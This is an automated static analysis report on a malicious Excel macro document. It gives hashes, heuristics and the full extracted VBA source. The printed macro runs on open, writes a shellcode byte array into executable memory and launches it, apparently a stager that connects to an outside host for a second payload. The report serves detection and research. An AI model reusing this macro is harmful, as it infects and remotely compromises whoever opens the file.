Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4694aad0c8234dc0…

MALICIOUS

Office (OLE)

251.5 KB Created: 2012-01-20 06:15:40 Authoring application: Microsoft Excel First seen: 2019-05-31
MD5: 6d59a15262806c9827d0d7a9efae1712 SHA-1: 4ea1990366555319b2d27087902a6f3bdfaf1f23 SHA-256: 4694aad0c8234dc0682de9769b9650b35fc0ff6fa0b8b52e9f16a419e75699e2
64 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel document contains VBA macros, including Auto_Open and Workbook_Open, which are commonly used to initiate malicious activity upon opening. The script utilizes Windows API functions like VirtualAlloc and CreateThread, indicating it's designed to allocate memory and execute shellcode. This strongly suggests the file's purpose is to download and execute a secondary payload, characteristic of a macro-based downloader.

Heuristics 5

  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
        Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
        Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Dim Kqyq As Long, Ybwiqhx As Variant, Cdmjosesg As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4062 bytes
SHA-256: a3968387aaa64f3ac15c6d44296adab3174be9cb5548fdffa085c7829f47020f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Qhradjo As Long, ByVal Qahqm As Long, ByVal Gicihcwg As LongPtr, Ozh As Long, ByVal Bhjdzg As Long, Bvntaik As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Foag As Long, ByVal Uhn As Long, ByVal Szvx As Long, ByVal Bdangrnyn As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Zye As LongPtr, ByRef Klcdch As Any, ByVal Zxmz As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Qhradjo As Long, ByVal Qahqm As Long, ByVal Gicihcwg As Long, Ozh As Long, ByVal Bhjdzg As Long, Bvntaik As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Foag As Long, ByVal Uhn As Long, ByVal Szvx As Long, ByVal Bdangrnyn As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Zye As Long, ByRef Klcdch As Any, ByVal Zxmz As Long) As Long
#End If

Sub Auto_Open()
    Dim Kqyq As Long, Ybwiqhx As Variant, Cdmjosesg As Long
#If VBA7 Then
    Dim Ukiti As LongPtr, Ywr As LongPtr
#Else
    Dim Ukiti As Long, Ywr As Long
#End If
    Ybwiqhx = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 255, 213, 184, 144, 1, 0, 0, 41, _
196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 5, 104, 180, 210, 15, 224, 104, 2, 0, 0, 80, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 12, 255, 78, 8, 117, 236, 104, 240, 181, 162, 86, 255, 213, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, _
139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 1, 195, 41, 198, 117, 238, 195)

    Ukiti = VirtualAlloc(0, UBound(Ybwiqhx), &H1000, &H40)
    For Cdmjosesg = LBound(Ybwiqhx) To UBound(Ybwiqhx)
        Kqyq = Ybwiqhx(Cdmjosesg)
        Ywr = RtlMoveMemory(Ukiti + Cdmjosesg, Kqyq, 1)
    Next Cdmjosesg
    Ywr = CreateThread(0, 0, Ukiti, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub


Attribute VB_Name = "현재_통합_문서"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True